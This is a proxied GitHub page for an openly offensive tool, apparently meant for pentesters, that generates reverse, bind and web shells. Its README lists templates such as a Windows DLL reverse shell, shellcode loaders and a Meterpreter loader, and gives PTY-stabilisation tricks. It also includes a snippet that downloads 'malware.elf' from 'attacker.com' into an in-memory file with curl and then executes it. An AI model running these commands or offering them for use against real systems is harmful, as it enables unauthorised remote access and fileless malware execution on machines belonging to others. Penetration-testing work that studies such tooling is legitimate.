GV

GeezerVison

The World Wide Web, restored to 800 pixels of glory.

Home|About|Gaming cabinet|Archives|How it works|Starter sites

On this site

  • Sign in
  • ActionsCI/CD and automation
  • CodespacesCloud development environments
  • All Features
  • Documentation
  • Training
  • Certifications
  • Build with Copilot
  • Customize Copilot
  • Integrations
  • Trending repos
  • GitHub Sponsors
  • Developer articles
  • Enterprises

This view

  • Original page
  • New address

GeezerVison is showing github.com — GitHub - dadevel/shells: Collection of Reverse, Bind & Web Shells

BranchesTags
Open more actions menu

Latest commit

 

History

36 Commits
36 Commits

Folders and files

NameName
Last commit message
Last commit date
.github
.github
 
 
assets
assets
 
 
getshell
getshell
 
 
.gitignore
.gitignore
 
 
LICENSE
LICENSE
 
 
README.md
README.md
 
 
poetry.lock
poetry.lock
 
 
pyproject.toml
pyproject.toml
 
 
templates
templates
 
 

Repository files navigation

Shells

Demo

A collection of reverse, bind and web shells from all over the internet.

Setup

a) With pipx.

pipx install git+https://github.com/dadevel/shells.git@main

b) With pip.

pip install --user git+https://github.com/dadevel/shells.git@main

Usage

Just run getshell and select one of the many templates.

Some advanced templates require manual steps:

  • TCP reverse shell in C++ as Windows DLL
  • Cross-platform TCP reverse shell with Cosmopolitan Libc
  • TCP reverse shell in Go
  • Reverse shell listener with Tmux and Socat
  • Python ELF loader via memfd_create() on Linux
  • Python shellcode loader on Linux
  • Meterpreter loader for Windows

Tips

Metasploit payloads like windows/shell_reverse_tcp are one of the few reverse shells for Windows that support interactive commands.

Linux PTY

Spawn a PTY and stabilize your shell with Python.

python -c 'import pty;pty.spawn("/bin/bash")'
# ctrl+z
echo "stty sane;stty rows $LINES cols $COLUMNS;export TERM=xterm;" | xclip -sel clip
stty raw -echo && fg
# paste clipboard and press enter

Alternatively spawn a PTY with script.

script -q -c /bin/bash /dev/null

Linux memfd_create()

Create file in memory with Python 3.8 or newer (source).

$ python3 -c "from os import*;fork()or(setsid(),print(f'/proc/{getpid()}/fd/{memfd_create(sep)}'),kill(0,19))"
/proc/139856/fd/3
$ curl -o /proc/139856/fd/3 https://attacker.com/malware.elf
$ /proc/139856/fd/3

Other interesting tools

  • Kraken, multi-language webshell
  • xc, reverse shell for Linux and Windows written in Go

About

Collection of Reverse, Bind & Web Shells

Topics

bind-shelloffsecpentestingreverse-shellweb-shell

Resources

Readme
MIT license
Activity

Stars

15 stars

Watchers

2 watching

Forks

2 forks
Report repository

Releases

Packages

Used by

Contributors

Languages

You are visitor 01402503 — GeezerVison does not store the pages you look up.
Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required.